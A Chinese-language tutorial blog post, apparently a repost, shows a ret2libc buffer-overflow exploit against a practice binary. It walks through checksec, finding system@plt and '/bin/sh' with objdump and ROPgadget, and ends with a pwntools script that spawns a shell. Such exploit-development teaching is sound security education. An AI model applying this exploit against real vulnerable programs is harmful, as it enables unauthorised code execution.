Ret2Libc(1) (有system、/bin/sh)繞過NX、ASLR
阿新 • • 發佈:2018-12-17
Ret2Libc即控制程式執行libc庫中的函式。
通常是返回到某個函式的plt處,或者函式執行時候的實際地址。
下面是一個例子:
可以看出程式gets有一個明顯的溢位漏洞
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
可以看到程式開啟了NX,
我的linux已經開啟了ASLR
而且,這個程式中,
我們可以用 objdump在plt表中找到system
objdump -d ret2libc1 | grep "plt"
用ROPgadget可以找到 ‘/bin/sh’
ROPgadget.py --binary ret2libc1 --string "/bin/sh"
system_plt = 0x08048460
bin_sh_addr = 0x08048720
確定溢位漏洞所需要的填充長度為112
利用思路:
1、用system_plt地址覆蓋函式的返回地址
2、構造一個system_plt的返回地址
3、給system函式傳入引數:/bin/sh 的地址
我們就可以構造payload了
exp:
from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720
io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) + p32(bin_sh)
io.sendline(payload)
io.interactive()
成功getshell